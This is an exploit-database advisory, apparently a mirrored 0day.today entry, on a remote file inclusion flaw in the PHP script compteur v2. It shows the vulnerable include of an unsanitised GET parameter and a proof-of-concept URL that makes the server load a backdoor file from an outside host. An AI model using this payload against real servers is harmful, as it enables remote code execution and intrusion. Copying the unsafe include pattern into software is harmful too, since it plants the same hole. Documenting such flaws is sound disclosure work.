Search...

compteur v2 (param_editor.php) Remote File Include Vulnerability

2006-10-10T00:00:00

ID 1337DAY-ID-947
Type zdt
Reporter DarkFig
Modified 2006-10-10T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ================================================================
compteur v2 (param_editor.php) Remote File Include Vulnerability 
================================================================


#
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: compteur_v2
# Poc.........: http://victim.xx/param_editor.php?folder=http://hack.c/backd.txt?
# Vuln.code...: Line 9 , include($_GET["folder"]."param.php")



#  0day.today [2018-04-13]  #

JSON Vulners Source

Initial Source

{"published": "2006-10-10T00:00:00", "id": "1337DAY-ID-947", "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for unknown platform in category web applications", "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2018-04-13T01:52:56", "rev": 2}, "dependencies": {"references": [], "modified": "2018-04-13T01:52:56", "rev": 2}, "vulnersScore": -0.2}, "type": "zdt", "lastseen": "2018-04-13T01:52:56", "edition": 2, "title": "compteur v2 (param_editor.php) Remote File Include Vulnerability", "href": "https://0day.today/exploit/description/947", "modified": "2006-10-10T00:00:00", "bulletinFamily": "exploit", "viewCount": 6, "cvelist": [], "sourceHref": "https://0day.today/exploit/947", "references": [], "reporter": "DarkFig", "sourceData": "================================================================\r\ncompteur v2 (param_editor.php) Remote File Include Vulnerability \r\n================================================================\r\n\r\n\r\n#\r\n# Title..: 7 php scripts File Inclusion Vuln / Source disclosure\r\n# Credits: DarkFig\r\n#\r\n# Using http://www.google.com/codesearch\r\n# Few examples about what we can do with a code search engine\r\n# For educational purpose only.\r\n#\r\n# You can use regex in your research, this can be chaotic.\r\n# What's your opinion about the google code search project ?\r\n#\r\n\r\n# Affected.scr: compteur_v2\r\n# Poc.........: http://victim.xx/param_editor.php?folder=http://hack.c/backd.txt?\r\n# Vuln.code...: Line 9 , include($_GET[\"folder\"].\"param.php\")\r\n\r\n\r\n\n# 0day.today [2018-04-13] #"}